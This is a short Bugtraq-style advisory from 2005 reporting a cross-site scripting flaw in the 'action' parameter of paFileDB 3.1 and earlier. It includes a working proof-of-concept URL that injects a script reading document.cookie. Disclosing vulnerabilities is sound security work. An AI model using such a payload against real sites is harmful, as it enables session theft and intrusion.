[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Pafiledb ACTION Parameter XSS
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Pafiledb ACTION Parameter XSS
- From: tom cruise <the.n3t@xxxxxxxxx>
- Date: 8 Apr 2005 21:23:59 -0000
Vulnerable System :
paFileDB 3.1
and less
exploit :
http://[target]/pafiledb.php?action=";><script>alert(document.cookie)</script>
discovered by : neO
SecurityGurus Team
www.securitygurus.net